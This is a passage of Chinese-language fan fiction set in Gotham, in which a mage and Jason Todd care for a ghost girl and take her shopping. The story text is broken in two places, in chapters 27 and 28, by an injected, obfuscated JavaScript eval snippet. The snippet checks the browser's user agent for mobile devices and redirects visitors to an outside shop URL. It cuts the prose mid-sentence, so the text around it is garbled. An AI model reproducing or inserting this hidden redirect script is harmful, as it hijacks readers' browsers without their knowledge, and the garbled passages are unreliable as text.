石头上涂了一层他从诊所带出来的石膏粉,颜色和墙灰一模一样,不凑近看根本看不出来。他把魔力压成丝,从指尖引出来,连上石头。丝线沉进地底下,往东延伸了一百米。 第二块石头在下水道入口的台阶底下。他掀开铁盖的时候,里面飘上来一股难以描述的味道。卡伦屏住呼吸,把石头塞进台阶的缝隙里,然后迅速把铁盖盖回去。他在心里记了一笔:下次带个口罩。不,带防毒面具。 第三块在废弃加油站的油罐后面。这个加油站倒闭三年了,油罐早就被抽空了,只剩一个生锈的铁壳子蹲在角落里,上面涂满了涂鸦。卡伦蹲在油罐后面,把石头塞进地基的裂缝里。 他站起来的时候,看见油罐上画着一只巨大的猫头鹰。 卡伦:我失去的记忆好像有点回来了。 红色的,眼睛是两个洞,被喷漆涂成了X。下面有一行字:“OWLS SEE YOU。” 卡伦盯着那只猫头鹰看了两秒。然后他把兜帽往下拉了拉,继续往前走。 第四块—— 卡伦蹲在电线杆旁边,把第四块石头塞进地基的缝隙里。他站起来,拍了拍手上的灰。兜帽遮住了半张脸,呼吸在领口凝成一小团雾气。 东区的夜晚很安静。偶尔有流浪猫从巷子里窜过去,偶尔有醉汉在远处骂骂咧咧。他站在路灯底下,用感知扫了一圈——没有灵魂波动,没有异常。阵法才铺了四分之一,整个东区的灵魂光点在他脑子里稀稀拉拉的,像一盏坏了的灯。 他把感应阵关上,转身往诊所走。 走了两步,他停下来。 他刚才在红头罩的一个安全屋门口塞了一块石头。离门口大概三米远,在墙根底下。卡伦站在路灯底下,看着那个方向。 安全屋的灯是灭的,杰森不在。窗帘拉得严严实实,什么都看不见。门口的地上有一小片暗色的痕迹——可能是血,可能是咖啡,可能是别的什么。他没走过去看。 他盯着那扇门看了三秒。 然后他把兜帽往下拉了拉,转身走了。 他想,反正他也不常来。反正离远一点也好。反正他只是在布阵,不是在跟踪。反正—— 他走了几步,又停下来。 如果杰森发现了怎么办?如果杰森问他“你在我门口埋了什么”,他怎么说? 说“我在布阵”?说“我在保护你”?说“我只是路过”?哪一句听起来都像变态。 卡伦站在空荡荡的街上,裹着那件有兜帽的黑色外套,陷入了深深的沉思。 他之前没想过这些问题。过去的人生社交关系很简单,不爽了他们会直接动手的。现在他需要在“保护”和“跟踪狂”之间找到一条线。这条线在哪里?他不知道。他只知道那条线大概不在“半夜两点在别人门口埋石头”这个范围里。 他又走了几步。又停下来。 不对。反正杰森不会发现。他的石头涂了石膏粉,颜色和墙灰一模一样。他把魔力丝压到了地底下,表面什么都看不出来。就算杰森站在门口,用他的军用靴踩那块石头,也只会觉得那是一块普通的水泥疙瘩。 卡伦点了点头,又觉得自己有点可悲。他在魔法世界学的那些东西——隐身、潜行、痕迹消除——现在全用在偷偷摸摸干这种事了。他师父要是知道了,大概会从坟里爬出来掐死他。 他加快了脚步。外套的兜帽被风吹得往后滑了一下,他又把它拽回来。兜帽就是魔法师的身份。干这种事情的时候,他不能没有兜帽,头上空空荡荡的话会让他的良心长回来。 他走回诊所,把门关上,脱掉外套挂在衣架上。他站在镜子前面,把兜帽拉起来,看了一眼,又拉下来。 他对着镜子里的自己说:“你是魔法师。” 镜子没回答。镜子里的那个人左眼眶周围还有一圈淡淡的银白色纹路,两只眼睛都是金色的,头发被压了挺长时间,但因为天生蓬松的质感胡乱支愣着,表情有点呆。 他对着镜子又说了一句:“你是拯救过世界的魔法师。” 镜子没回答。 “你在别人门口埋石头是为了保护他。不是变态。” 镜子沉默了很久。 他觉得自己可能真的有点毛病——对着镜子自言自语。但转念一想,魔法师对着镜子说话不是很正常吗?童话里不都这么写的?虽然童话里的魔法师都是白胡子老头,而他是穿着黑色工装裤的金眼年轻人。但道理是一样的。 他关了灯,躺下来。 天花板上什么也没有。他闭上眼睛,在脑子里把东区的轮廓过了一遍。阵法还没布完,明天还要继续。他想起林肯·马奇。想起那个名字带给他的、说不清道不明的、像一根刺扎在肉里的感觉。 他把这些念头一个一个按下去。翻了个身。 窗外,哥谭的夜还很长。东区的某个角落里,他埋下的石头在黑暗中安静地发着微光。像蜘蛛网上还没干透的露水。 27. 第二十七章 1 杰森来哥谭综合医院,是为了一个案子。 东区最近有几个□□分子被人拧断了脖子,手法干净得像外科医生做的。现场没有指纹,没有DNA,没有目击者。唯一的共同点是——这几个混蛋都欠过同一个中间人的钱。那个中间人现在躺在医院里,三楼外科病房,腿断了,据说是因为上个月在黑门监狱里被人打了一顿。 杰森想问他几个问题。 但他刚走进医院大厅,就觉得不对,后颈发凉,像有人往领口里塞了一把雪,他说不出来哪有点不对劲的,但这让他的汗毛都立起来了。他扫了一圈大厅——挂号处排着长队,候诊椅上坐满了人,一个小孩在哭,一个老人在咳嗽,护士站的电话响个不停。正常的医院。 杰森把手插进口袋里,往电梯走。 “先生?” 他停下来。一个护士站在护士站后面,手里拿着一份病历,表情有点犹豫。 “你需要帮助吗?” “不需要。” 护士看了他一眼,又看了一眼他旁边——他左手边,大概膝盖高的位置。杰森顺着她的视线看过去。什么都没有。 “没事。”护士小声说,低头写东西了,“我以为你带了孩子。” 杰森走进电梯。门关到一半,弹开了。他按了一下关门键,又弹开了。他又按了一下。门关上了。电梯开始往上走。一楼。二楼。 “爸爸。” 杰森的手指攥紧了。 声音从身后传来。很轻,像刚学会说话的小孩,咬字不太清楚,尾音拖得很长。杰森没有回头。他盯着楼层显示屏。二楼。 “爸爸。” 那声音更近了。就在他身后。杰森猛地转头——空的。电梯里只有他一个人。墙角有一滩不知道什么时候留下的水渍,日光灯管在天花板上嗡嗡地响。 叮。三楼到了。 杰森走出电梯,往走廊那头走了两步。然后他停下来,低头看了一眼自己的裤腿。膝盖旁边,有一小片湿的印记。很小,五个手指头。 杰森面上淡定转身,往楼梯间走。 他不坐电梯了。 ——— 2 中间人姓考夫曼,一个秃顶的胖子,左腿打着石膏吊在床上。他看见杰森的时候,脸上的表情从惊恐变成绝望,又从绝望变成认命。 “我真的不知道谁干的。”考夫曼说,“那几个欠钱的,我也在找他们。他们死了,我的钱找谁要去?” “你不是找他们。你是找杀他们的人。”杰森靠在窗台上,双手插在口袋里。“那个人也来找你了。” 考夫曼的脸白了。 “你见过他。” “没、没见过。” “你见过。”杰森看着他。“你腿上的伤,不是黑门监狱里打的。是那个人打的。他问你那几个欠钱的人在哪,你说不知道,他把你腿打断了。然后他自己找到了。你见过他的脸。” 考夫曼的嘴唇在发抖。他的眼睛往门口飘了一下。 杰森没回头。他的余光扫到左手边——膝盖高的位置,站着一个小女孩。大概三四岁,瘦得像一根火柴,穿着一件白色的连衣裙,裙摆湿了一大片,头发湿漉漉地贴在额头上。 她的脸很小,下巴尖尖的,皮肤白得几乎透明。眼睛是暗红色的,像凝固的血,像快要烧完的炭。 她仰着头看他。 “爸爸。”她说。 杰森没低头。他看着考夫曼。考夫曼也在看她。他的脸从白变青,嘴唇哆嗦着想说什么,但只发出“嗬嗬”的气声。他的手指着她,指了大概两秒,然后整个人往后一倒,晕过去了。 杰森低头看着那个小女孩。 “我不是你爸爸。”他说。 小女孩歪了一下头。“爸爸。” “我不是。” “爸爸。”她的声音大了一点,像一个小孩子拼命想让你明白一件很重要的事,但她只会说那一个词。 杰森的手机震了一下。卡伦的消息。“你人在哪儿?” “医院。” “你旁边是不是有个小孩?” 杰森低头看了一眼。小女孩仰着头看他,暗红色的眼睛一眨不眨。“有。” “我刚感应到医院里有什么东西不对,看见你站在走廊里,你旁边那个小孩刚成形。你把她带过来。” 杰森看着那条消息。“我是来查案的。” 而且省略的东西有点太多了吧!这句话全是疑点吧! “查完带过来。” 杰森:。 杰森把手机塞回口袋,低头看着小女孩。“你,”他说,“跟我走。” 小女孩贴过来,手抓住他的衣角。很小,很凉。杰森走出病房,往楼梯间走。小女孩跟着他,手抓着他的衣角,走得跌跌撞撞的。她的腿好像不太听使唤,像刚学会走路的小孩,每一步都要晃一下。 杰森放慢了脚步。 他不承认自己是在等她,他只是鞋带松了。 ——— 3 杰森为了查案低调出行,没用交通工具。 从医院到诊所又不远,走路大概十分钟,于是杰森决定走着去。 很快,他就后悔了。 杰森走了半个小时。因为小女孩每走几条街就要停下来——看气球,看棉花糖,看一只蹲在墙头晒太阳的橘猫。 她不说话,只是停下来,仰着头,朝着那个方向。杰森不知道她是在看还是在听还是在只是感受,却也只能停下来等她。 “爸爸。” “我不是你爸爸。”他才不像老蝙蝠那样到处捡孩子。 “那是什么?”小女孩仿佛没听见。 杰森顺着她的手指看过去。一个小孩手里拿着粉色的棉花糖,舔了一口,嘴角沾满了糖丝。 “棉花糖。” “棉花糖。”她重复了一遍。声音很轻,像在学一个很珍贵的词。 杰森没说话。他继续走。小女孩跟上来,手抓住他的衣角。 东区的街上永远有人。一个推着婴儿车的女人从他们身边经过,多看了他们两眼。一个卖热狗的小贩抬头看了他们一眼,又低头继续翻他的热狗。一个老太太拎着菜篮子从对面走过来,走到他们面前的时候,停了一下。 “小伙子。”老太太说。 杰森停下来。 老太太看了一眼他身边的小女孩——瘦得像一根火柴,裙摆湿了一大片,头发贴在额头上,脚上连鞋都没有。然后她抬头看着杰森,表情从疑惑变成不赞同,从不赞同变成嫌弃。 “孩子这么小,怎么不给穿鞋?”她说。 杰森张了张嘴。小女孩仰着头看他,又看了看老太太,把脸埋进杰森的裤腿里。老太太摇了摇头,拎着菜篮子走了。走了两步还回头瞪了他一眼。 杰森低头看着埋在他裤腿上的那颗小脑袋。“你能不能——”他停了一下。算了。 又走了一条街,一个发传单的年轻人凑过来。“先生,给家里小朋友带一个——”他低头看了一眼小女孩,把传单往她面前递了递。“小妹妹,要不要气球?游乐园的,明天有活动。” 小女孩从杰森的裤腿后面探出头来。传单上印着彩色气球、旋转木马、摩天轮。 她看了一会儿,伸出手,想碰一下。手指穿过了传单,她猛的缩回手。 好在那个年轻人没注意到这个小细节。 “爸爸。”小女孩仰头看向杰森。 发传单的年轻人看了看小女孩,又看了看杰森。他的表情从热情变成困惑。“那个……先生,你女儿好像想要气球。” 杰森看着小女孩。她仰着头看他,暗红色的眼睛里有一点光。 “明天带你去。”杰森说。 小女孩的光亮了一下。她把脸重新埋进杰森的裤腿里。手指攥着他的衣角,攥得很紧。 发传单的年轻人识趣地走了。走了两步还回头看了一眼。 杰森站在街边,低头看着那颗埋在他裤腿上的脑袋。“走了。”他说。小女孩抬起头,跟着他继续走。手抓着他的衣角,跌跌撞撞的。 ——— 4 卡伦正在给一个老太太量血压。 诊台上摆着听诊器、血压计、一盒没拆封的纱布,还有半杯凉透了的茶。老太太在絮叨她孙子的成绩、她女儿的新工作、她邻居家狗叫了一整夜。 卡伦一边听一边点头,思绪却飞到九霄云外。 他实在没料到他刚要解决一下马奇的问题,杰森就在那里给他上演了一个偶遇“女儿”。 好在他看到马奇要竞选市长的新闻,终于想起来了这是什么事,时间还早,至少这两周蝙蝠侠还是安全的。 他加大魔力输出的时候,看见杰森站在医院的走廊里,旁边站着一个小女孩。三四岁,白色连衣裙,暗红色的眼睛。她看起来和普通小孩没什么区别——如果忽略她的皮肤白得几乎透明、裙摆湿了一大片、脚上没穿鞋的话。 卡伦也算是见多识广了,但这个小女孩确实是一种很奇特的生物,几乎算得上是混了两种地域特色,身上有某种很复杂的东西。 “医生?”老太太叫他。 “没事。您继续说。” 这时门被推开了。杰森站在门口,身后跟着一个小女孩。她的手抓着他的衣角,整个人缩在他背后,只露出半张脸。暗红色的眼睛从杰森的胳膊旁边探出来,看着卡伦。 老太太回头看了一眼。“哎呀,谁家的小孩?”她站起来,走过去,蹲下来。“你叫什么名字呀?” 小女孩往杰森腿后面缩了缩。 “她不太会说话。”杰森说。 老太太看了杰森一眼,又看了小女孩一眼——白色的连衣裙湿了一大片,头发贴在额头上,脚上连鞋都没有。她抬头看着杰森,表情和路上那个老太太一模一样。 “年轻人,”她站起来,拍了拍膝盖,“带孩子不能这么粗心。这么小的孩子,鞋都不给穿,裙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她玩了一会儿手指,又开始研究杰森的鞋带,小手指捏着鞋带尖,很认真地看着它从指缝里滑出去。“但她身上有那些孩子的灵魂碎片。虽然很少,但足够让她——”他想了想,“不只是个怪物。” “能让她安息吗?”杰森问。 好好的转世,好好的重新来过,好好的当一个真正的、有体温的、能被妈妈牵着手去公园的小孩。 “能。”卡伦说。“但这种东西,想要安息,就得满足她的执念。” “她的执念是什么?” 卡伦奇怪的看了他一眼,这种事情问他怎么会知道,你们蝙蝠家是不会和孩子直接沟通吗? 卡伦取消隔音。 他低头看着那个小女孩。她放弃了杰森的鞋带,开始研究自己的裙摆。湿的,她捏了一下,手指上沾了水,她看着那些水从指尖滑下去,又捏了一下。 “你有什么想要的吗?”卡伦问。 小女孩抬起头。暗红色的眼睛看着他,很认真。 “漂亮裙子。”她说。声音很轻,像风吹过空房间。“游乐园。冰淇淋。”她停了一下。低头看了看自己的手,又看了看杰森,又看了看卡伦。 “爸爸。妈妈。” 卡伦看着她。看着她湿透的裙摆、光着的脚、白得几乎透明的皮肤。看着她暗红色的眼睛里那一点很暗的、像快要灭的烛火一样的光。 他想起那些死在战场上的孩子,汇聚成小姑娘的这些孩子也和他们一样,他们原本不该死在那里。 他们应该活着,应该长大,应该去游乐园,应该吃冰淇淋,应该穿漂亮衣服。但他们没有。所以他站起来,又一次吹响反抗的号角。 这些孩子曾经是他战斗的理由。 “好。”卡伦说。 小女孩看着他。 “明天带你去买漂亮裙子,去游乐园,吃冰淇淋。” 小女孩的光亮了一下。她站起来,走回杰森腿边,靠着他的小腿坐下来。手攥着他的裤腿,攥得很紧。 “爸爸。”她小声说。 杰森没说话。他低头看着那颗靠在他腿边的小脑袋。她的头发还是湿的,贴在额头上,露出后脑勺一小片没长好的头皮。 他看了一眼卡伦。卡伦站在诊台后面,看着他悬在半空的手,没说话。杰森把手收回来了。 “明天十点。”他说。声音有点哑。他清了清嗓子。“商场开门先买裙子。” “然后去游乐园。”卡伦说。 “然后吃冰淇淋。” “嗯。” 小女孩靠着杰森的腿,听着他们说话。她的手指松开了他的裤腿,攥住了自己的裙摆。白色的,湿的,被她攥出一小片皱褶。 杰森站起来。小女孩也跟着站起来,手抓住他的衣角。 “明天见。”杰森说。 28. 第二十八章 1 杰森站起来的时候,小女孩也跟着站起来了。 她的小手攥着他的衣角,指节发白——如果她有指节的话。 她的皮肤白得几乎透明,在诊所暖黄色的灯光底下像一张被揉过的宣纸。暗红色的眼睛从下往上看着他,里面有困意,有依赖,还有一种“你去哪儿我就去哪儿”的天真。杰森低头看了她三秒。 “我走了。”他说。小女孩往前迈了一步。 “你留下。”杰森说。小女孩摇头。 “我明天来接你。”摇头。 “我就回去拿个东西。”摇头。她的手指攥得更紧了,衣角被她攥出一小片湿印。 杰森深吸一口气。他看了一眼卡伦,卡伦靠在诊台上,双手插在口袋里,表情是那种“我早就知道会这样”的平静。 “怎么办?”杰森问。 卡伦看了一眼墙上的钟。“十一点了。” “所以呢?” “所以她该睡觉了。小孩不睡觉会长不高。” 小女孩仰着头,认真地说:“我不要长高。”卡伦噎了一下。杰森嘴角忍不住往上抬,又很快压下去了。 “你今晚住这儿。”卡伦蹲下来,和她平视。“明天一早,买裙子,去游乐园,吃冰淇淋。好不好?” 小女孩看了看卡伦,又看了看杰森。“爸爸也住这儿?” 杰森张嘴想说“我不住”,小女孩的手指收紧了一点。 她的指甲是透明的,在灯光底下像一小片一小片的玻璃。杰森把那个“不”字咽回去了。 “住。”他说。 小女孩松开他的衣角,走到诊所的椅子旁边,爬上去坐好,腿悬在半空晃了两下。她低头看着自己晃来晃去的脚,又抬头看杰森。 小女孩认真地问:“游乐园有卖鞋的吗?” “去商场,和裙子一起买。” 杰森感觉他不适合和孩子说话,不擅长和孩子相处这点果然是布鲁斯遗传过来的。 可恶的蝙蝠侠。 他转头看卡伦。卡伦在翻柜子,表情很专注,但嘴角可疑地翘了起来。 “你在笑什么?” “没笑。” 杰森死鱼眼。 呵,你如果把表情也伪装一下,没准儿我还会假装自己被骗过去了。 卡伦从柜子里翻出一条毯子,走过去盖在小女孩身上。毯子很大,把她整个人都罩住了,只露出一小截鼻尖和一缕头发。 她的手指从毯子底下伸出来,抓住杰森的衣角,然后缩回去了。杰森低头看着那截被攥出皱褶的衣角,站了一会儿,坐回椅子上。小女孩从毯子底下拱了拱,靠得近了一点。 “爸爸。”毯子底下传来闷闷的声音。 “嗯。” “你明天真的会来吗?” 杰森低头看着那颗靠在他腿边的小脑袋。她的头发是黑色的,很细,贴在头皮上,露出后脑勺一小片没长好的头皮。他想起自己在犯罪巷的时候,等过很多人。Catherine说她会回来,她没回来。Willis说他会回来,也没回来。 “会。”杰森说。小女孩的手指从毯子底下伸出来,找到他的手指,碰了一下。很凉,很轻,像一片落在皮肤上的雪花,很快又缩回去。 过了一会儿,她的呼吸变得均匀。睡着了。 杰森无言地盯着她的脸。 “她这样,”他开口了,“万一发作怎么办?” 卡伦靠在诊台上,手里拿着那杯凉透了的茶。“你见过怨灵发作?” “没有。” “我见过。”卡伦把茶杯放下。“有一个村子,一对平凡但幸福的夫妻的小孩被同村的几个孩子推进水里,怨气不散,变成怨灵,平时看着好好的,跟普通小孩没区别。所以那对夫妻隐瞒了孩子其实没有被及时救上来的事实,权当它是个正常小孩,但两天后的晚上——” 他停了一下。 “那天晚上怎么了?”杰森问。 “有个老太太路过,是那几个杀人的其中一个孩子的奶奶,看了它一眼。”卡伦的声音很平淡。“然后它把整个村子掀了。七个人住院,三个没抢救过来。” 杰森低头看了一眼膝盖旁边那颗小脑袋。她的呼吸很轻,毯子几乎不动。 “她大概不会的。”杰森说。 “你怎么知道?” 杰森没回答。他低头看着那截露在毯子外面的鼻尖,睡着的时候,她的眉头是松开的,嘴唇微微张着,没有颜色。不像会掀翻一个村子的样子。但他在哥谭待太久了,知道“不像”不等于“不会”。游乐园里的小丑也不像能杀人的样子。 杰森把目光从她脸上移开。 “我不知道。”他说。“但她……”他停了一下。“我不能因为她‘可能’会发作就把她丢出去。” 卡伦看着杰森,但杰森没看他,盯着天花板。卡伦认识他这么久,见过他做很多不理智的决定。 一个人去炸企鹅人的仓库,一个人去闯黑面具的老巢,一个人去追小丑。每次都是这副表情。 算了,他是一个正常人,正常人不会和一头驴比力气。 再说了,他也没有将那个小姑娘扔出去的打算。 “行。”卡伦说。“那我说一下预案。” 杰森转头看他。 “她如果发作,你别硬来。怨灵发作的时候没有理智,不认识人。”卡伦的声音很平静,像在念一份操作手册。“你把她引到开阔的地方,别让她伤到普通人。然后通知我,我有办法让她安静下来。” 啧,不行啊,不太放心,要不明天他还是跟着去吧。 “什么办法?” “炼金术。画个阵,把她的怨气抽出来一部分。不伤她,只是让她没力气闹。” “抽出来的怨气呢?” “我存着,等她转世的时候一起散掉。” 杰森看着他。“你想得还挺周全。” 卡伦耸了耸肩。“我在魔法世界待了十几年,别的不敢说,处理这种东西的经验还是有的。” “那你之前说‘大概能把整间诊所掀了’——” “吓你的。” 杰森盯着他看了三秒。“你吓我?” “你刚才那个表情,”卡伦的嘴角翘起,勾起一个有点得意的笑,“值得一看,不是吗?” 杰森深吸一口气。他决定不跟这个人计较。 小女孩在毯子底下翻了个身,嘟囔了一声。两个人同时低头。 她的眉头皱了一下,很快又松开了。手指从毯子底下伸出来,摸索了一下。 “她做梦了。”卡伦说。 “你怎么知道?” “我见过一个专门研究怨灵的法师。他说怨灵做梦的时候会皱眉,是因为它们在回忆自己活着的时候。那些记忆太短了,短到只有一个画面。但它们会反复做同一个梦。” 杰森低头看着那颗靠在他腿边的小脑袋。“她梦到什么?” “不知道。可能是医院的灯,可能是某个妈妈的声音,可能什么都不是。” 杰森没说话。过了一会儿,他从口袋里掏出手机。卡伦看着他戳屏幕。“你在干嘛?” “订票。” “订什么票?” “游乐园。” 卡伦张了张嘴。“你不用——” 卡伦看着他戳屏幕的手指。戳得很用力,像在和手机打架。眉头皱着,嘴唇抿成一条线,和平时审问犯人时的表情一模一样。 卡伦忍住笑。“你知道游乐园周末要提前订票吗?” 杰森的手指停了一下。“……现在订。” “你知道摩天轮的票卖完了吗?” 杰森的手指又停了一下。他抬头看着卡伦,表情复杂。 “你怎么不早说?” 因为他不想人太多,明天所有剩下的摩天轮的票都是他买完的。 “你没问。” 杰森盯着他看了三秒,不放弃的低头继续戳手机。戳了几下,停下来。 “卖完了。” 杰森的声音好像有点死了。 “我知道。” “你知道还——” “我订了。”卡伦说。 ?他是会什么分身术吗? 杰森抬头。卡伦靠在诊台上,双手插在口袋里,表情无辜。“你的那份也订了。” 杰森张了张嘴。“还有烟花秀。”卡伦补充道。 杰森的嘴闭上了。 诊所里安静了很久。小女孩的呼吸很轻,像风吹过空房间。 “多少钱?”杰森问。 “什么?” “票,我转给你。” “不用。” “别忘了我们还在冷战。” 卡伦看着他,“那你请我吃饭,我宣布我们的冷战结束了。” “行。” 杰森绝对不会说其实他早就想结束了,只能说这个梯子递的正是时候。 “两顿。” “……行。” “几点了?”他问。 卡伦看了一眼墙上的钟。“十一点半。” 小女孩翻了个身。毯子从她肩膀上滑下来,露出半张脸。她的嘴唇微微张着,眉头又皱起来了。 杰森伸手把毯子往上拉了拉,盖住她的肩膀。他的手指碰到她的头发——还是有点湿,大概是什么怨灵的自带设定,但很软。他把手收回来。 “你睡床上。”卡伦说。“我看着她。” “你睡。” 卡伦看了他一眼。杰森没看他,盯着天花板。卡伦从柜子里翻出一条毯子,铺在沙发上,躺下来。诊所里很安静。台灯还亮着,把天花板照成暖黄色。 “卡伦。”杰森的声音从黑暗中传过来。 “嗯?” “她明天走了之后,会去哪?” “转世。重新来过。” “会记得今天吗?” 卡伦沉默了一会儿。 “不会。” 杰森没再说话。卡伦翻了个身,面朝沙发背。墙上有杰森的影子,被台灯拉得很长。他的影子低着头,看着膝盖旁边那团小小的隆起。 卡伦闭上眼睛。 窗台上,那枚淡粉色的贝壳在月光底下亮了一下。很轻,很淡,像一颗快灭的星星,然后又灭了。 ——— 2 卡伦是被一阵窸窸窣窣的声音吵醒的。 他睁开眼,看见小女孩蹲在沙发旁边,两只手扒着沙发沿,只露出一双眼睛。暗红色的,在晨光里看不太出来,反而像两颗深色的玻璃珠。她的头发还是湿的,贴在额头上,但裙摆干了——被诊所的暖气烘了一夜,皱巴巴的,像一团被揉过的纸巾。 “妈妈。”她小声说。 卡伦眨了眨眼。他花了三秒钟想起昨天发生了什么——医院、杰森、小女孩、订票。又花了三秒钟消化“妈妈”这个称呼。然后他坐起来,头发炸成一个鸟窝。 “嗯。” “今天去游乐园吗?” “去。” 小女孩的眼睛亮了一下。然后她看了看杰森的方向——他歪在椅子上,一条腿搭在地上,另一条腿蜷着,手臂盖在脸上。 外套被她裹在身上当被子了,露出里面那件皱巴巴的灰色T恤。他的呼吸很沉,很慢。小女孩转回来,压低声音。“妈妈,”她认真地问他,“你是真的妈妈吗?” 卡伦看着她。她的眼睛很认真,没有恶意,只是想知道答案。像一个小孩子在问“天为什么会下雨”一样认真。 “你想让我当你的妈妈吗?”卡伦问。 小女孩点头。 “那我就当。”卡伦说。他想了想,又补充了一句,“妈妈就是和爸爸关系很好的人,我和杰森关系很好。” 卡伦知道他有点哄骗小孩的嫌疑了,但他又没办法和小孩说,如果你把杰森当爸爸的话,我还真挺想当你妈妈的。 感觉自己更可悲了。 小女孩想了想。“可是妈妈应该是长头发。”她低下头,手指绞着裙摆。“医院里的妈妈们,都是长头发。她们抱着小宝宝,头发很长,垂下来,盖住小宝宝的脸。”她抬起头,看着卡伦的短发。“你不是长头发。” 卡伦摸了摸自己的头发。 短,确实短。他在魔法世界的时候为了方便,剃过寸头,回来之后养了几个月,现在发型大概算是狼尾,但也和“长头发”差了十万八千里。 “你等一下。”他说。 他走进洗手间,站在镜子前面,把手覆在头顶上。 银白色的光从他的指尖渗出来,钻进他的发根,他的头发开始生长。 盖住耳朵,盖住脖子。停在肩膀下面两寸的地方。卡伦把手放下来,看着镜子里的自己。头发黑色带着自来卷的弧度,垂在肩膀两侧。他的五官本来就偏精致,配上长头发,有点像——他歪了一下头。镜子里的自己也歪了一下头。 算了,魔法师打扮的奇怪一点怎么了? 他从洗手间出来,小女孩蹲在沙发旁边,仰着头看他,眼睛瞪得圆圆的。 “够长了吗?”他问。 小女孩伸出手,碰了一下他的头发。她的手指穿过发丝,没有重量,但她感觉到了。她的嘴角翘起来,露出一个小小的、没有颜色的笑容。 “妈妈。”她说。 卡伦笑了一下。“走。买裙子去。” 他站起来,去衣柜里翻衣服。黑色高领内搭太紧了,黑色工装裤太像要去打架。他翻了翻,翻出一件浅色的卫衣。米白色的,帽子上有两只短短的猫耳朵。 他看了一眼,又看了一眼。在魔法世界的时候他绝对不会穿这种东西。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444125|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但这里是哥谭。没人认识他。 他套上卫衣,把头发从领口里拉出来,站在镜子前面。浅色衣服,长头发,猫耳朵帽子。他的脸本来就小,被帽子一衬,更像学生了。 他对着镜子里的自己点了点头。然后转身。小女孩仰着头看他。 “妈妈好看。”她说。 卡伦的耳朵泛红。 “走了。” 他走到门口,回头看了一眼。杰森还歪在椅子上,手臂盖着脸。卡伦走回去,干脆把他横抱到了沙发上,又从柜子里翻出一条毯子,盖在他身上。杰森的呼吸停了一下。 卡伦的手悬在半空。然后杰森的呼吸又续上了。卡伦把手收回来。 “走了。”他对小女孩说。小女孩站起来,走到卡伦旁边,伸出手,抓住他的衣角。 她的手很小,很凉。卡伦低头看着那截发白的指节。他放慢脚步,让她的手抓得更稳一点。 “走。” 小女孩跟着他,跌跌撞撞地,走进了哥谭的晨光里。 ——— 3 商场刚开门,人不多。 卡伦牵着小女孩——她不让牵。她要攥着衣角。所以她攥着他的衣角,走在他旁边,仰着头看商场里的灯。 天花板上挂着巨大的水晶吊灯,阳光从玻璃穹顶照下来,把整个大厅照成金色。她张着嘴,眼睛瞪得圆圆的,脚步慢了。 “好看吗?”卡伦问。 她点头,然后看见电梯。透明的直梯,可以看见里面站着人,大多数人手里都拎着好几个购物袋,穿着打扮显得很贵气。 她往卡伦腿边缩了缩。 “那是电梯,会把你送到楼上去。”卡伦说,“想坐吗?” 她摇头,攥着他衣角的手指紧了紧。 卡伦找到童装区的楼层,坐扶梯上去。 三楼,童装。店面很大,粉色的墙壁,白色的货架,衣服按颜色排列——粉色的、紫色的、鹅黄色的、浅蓝色的。小女孩站在店门口,不动了。 “怎么了?”卡伦问。 她看着那些衣服,张着嘴,说不出话。 卡伦蹲下来。“随便挑,今天你说了算。如果你想要的话,我不介意把这些都给你买下来。” 他说休假就休假的原因,不就是因为不缺钱吗? 正常人想赚钱,会经营他那种诊所? 她抬头看他,暗红色的眼睛里带着点惶恐和惊喜。 她松开他的衣角,走进店里,经过每一排货架都要停下来。她摸了一下粉色的裙子,手指穿过去了。她把手指缩回来,攥成拳头。她又摸了一下紫色的裙子,又穿过去了。她站在货架前面,低着头,看着自己的手。 卡伦走过去,从货架上拿下那条鹅黄色的连衣裙,裙摆上有小雏菊。他把裙子举到她面前。 “这条怎么样?” 她抬头看着那条裙子。浅黄色的衣服显得很明亮,像一小片被剪下来的阳光。 她下意识伸出手,手指碰到裙摆的时候——她愣了一下。她的指尖停在了布料上面。没有穿过去。 她碰到的不是布料,是卡伦的手。他把手垫在裙子底下,让她的手指落在他的手心上。她的手很小,很凉。她低头看着自己的手指,看着它们贴在他的皮肤上。 “妈妈。”她说。 “嗯。” “我能摸到。” “嗯。” 她把手贴在他的手心上,贴了很久。然后她把手指收回来,攥成拳头,贴在胸口。 “要这条。”她说。 卡伦把裙子从衣架上取下来。“还要别的吗?” 她摇头。“一条就够了。” 卡伦没有勉强。他去收银台付了钱,把裙子装进袋子里。 小女孩攥着他的衣角,跟着他走出店门。她走得很轻快,脚步没有声音,但她的裙摆——那条白色的、有些潮湿的裙摆——在她膝盖旁边晃来晃去。 “妈妈。”她仰着头看他。 “嗯?” “谢谢你。” 卡伦笑了一下。“不客气。” 她低下头,继续攥着他的衣角,走在商场的大厅里。阳光从玻璃穹顶照下来,把她的白裙子照成金色。她的头发还是湿的,贴在额头上,但脚步很轻快。 周围的人像是没有看见这个奇怪的小女孩,平常地从他们身边走过了。 当然,卡伦在他们出门前就施了一个降低存在感的咒。 有时不得不说,魔法真好用。 卡伦放慢脚步,让她走在前面。他的手机震了一下,杰森的消息。 “你们在哪儿?” “商场,买完裙子了。” “等着,我到了。” 卡伦把手机塞回口袋。 小女孩停下来,仰着头看他。“爸爸来吗?” “来。” 她的眼睛亮了一下。她松开他的衣角,走到商场门口,踮着脚往外看。 刚才他们顺便已经把鞋买好了,现在小女孩脚上的是一双白色的公主鞋。 阳光照在她身上,把她的白裙子照得几乎透明。 他蹲下来,和她平视。“等爸爸来了,我们去换裙子。然后去游乐园,吃冰淇淋,坐摩天轮。” 小女孩看着他,认真地问:“摩天轮是什么?” “一个很大很大的轮子。坐在上面,会慢慢升到天上去。能看到整个游乐园。” 